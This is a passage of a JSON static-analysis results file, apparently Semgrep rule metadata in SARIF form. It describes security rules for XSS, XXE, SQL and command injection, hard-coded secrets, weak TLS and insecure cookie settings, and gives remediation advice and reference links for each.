java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"help":{"markdown":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)\n - [https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)\n","text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","id":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","name":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","id":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","name":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"help":{"markdown":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n - [https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2](https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2)\n","text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version","id":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","name":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.weak-ssl-version.weak-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"help":{"markdown":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","id":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","name":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","id":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","name":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","id":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","name":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","id":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","name":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","id":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","name":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"help":{"markdown":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw](https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"help":{"markdown":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config)\n - [https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy](https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy)\n","text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","id":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","name":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false)\n - [https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean)](https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean))\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false","id":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","name":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.cookie-issecure-false.cookie-issecure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"help":{"markdown":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","id":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","name":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. 